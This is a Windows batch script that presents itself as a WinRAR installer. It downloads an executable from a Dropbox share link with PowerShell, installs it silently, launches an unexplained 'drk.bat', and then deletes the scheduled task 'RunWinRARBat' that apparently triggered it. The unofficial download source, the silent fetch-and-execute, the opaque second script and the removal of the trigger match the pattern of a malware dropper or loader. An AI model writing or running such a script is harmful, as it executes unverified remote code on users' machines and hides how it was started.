@echo off rem --- Check if WinRAR is already installed --- if exist "C:\Program Files\WinRAR\WinRAR.exe" ( echo WinRAR is already installed, running drk.bat... goto runDrkBat ) rem --- Download and Install WinRAR --- set "winrar_url=https://www.dropbox.com/scl/fi/a3ty73ze62hvosdqz0y81/winrar-x64-701.exe?rlkey=yzo6ali9vck5gnwz8nwb7xke3&st=rjkenpzz&dl=1" set "winrar_installer=C:\winrar-x64-701.exe" powershell -command "Invoke-WebRequest -Uri '%winrar_url%' -OutFile '%winrar_installer%'" rem --- Check if the download was successful --- if exist "%winrar_installer%" ( echo "WinRAR successfully downloaded to: %winrar_installer%" rem --- Perform silent installation of WinRAR --- echo "Installing WinRAR silently..." start /wait "" "%winrar_installer%" /S rem --- Check if WinRAR was installed successfully --- if exist "C:\Program Files\WinRAR\WinRAR.exe" ( echo "WinRAR installed successfully, running drk.bat..." goto runDrkBat ) else ( echo "WinRAR installation failed." exit /b ) ) else ( echo "WinRAR download failed!" exit /b ) :runDrkBat rem --- Run drk.bat if it exists in the same directory --- set "current_dir=%~dp0" if exist "%current_dir%\drk.bat" ( echo Running drk.bat... start "" "%current_dir%\drk.bat" ) else ( echo drk.bat not found in the current directory. ) rem --- Remove the Task Scheduler task after installation --- schtasks /delete /tn "RunWinRARBat" /f echo Task removed successfully. pause